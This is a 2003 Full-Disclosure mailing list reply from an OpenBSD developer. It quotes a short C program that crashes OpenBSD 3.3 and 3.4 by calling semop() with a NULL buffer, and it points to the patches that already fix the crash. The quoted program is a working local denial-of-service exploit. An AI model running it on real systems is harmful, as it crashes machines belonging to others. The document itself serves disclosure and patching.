[Full-Disclosure] yet another panic() in OpenBSD
Henning Brauer
henning at openbsd.org
Sat Nov 22 14:14:35 GMT 2003
On Fri, Nov 21, 2003 at 05:43:33PM -0500, noir at uberhax0r.net wrote:
>
> a project lacking the basic QA and unit testing and here is the outcome:
>
> #include <stdio.h>
> #include <sys/types.h>
> #include <sys/sem.h>
> #include <sys/ipc.h>
>
> int
> main()
> {
> int i;
>
> for(i = 0; i < 0x40; i++)
> semop(i, (struct sembuf *) NULL, 0);
>
> }
>
>
> PANIC in OpenBSD 3.3 and 3.4 is confirmed.
please note that patch 008 for OpenBSD 3.4 / 013 for OpenBSD 3.3 fixes that
issue.
This patch was out _before_ the above post.
It's not really hard to look at the patch and post to fd afterwards...
--
Henning Brauer, BS Web Services, http://bsws.de
hb at bsws.de - henning at openbsd.org
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)
Full-Disclosure is hosted and sponsored by Secunia.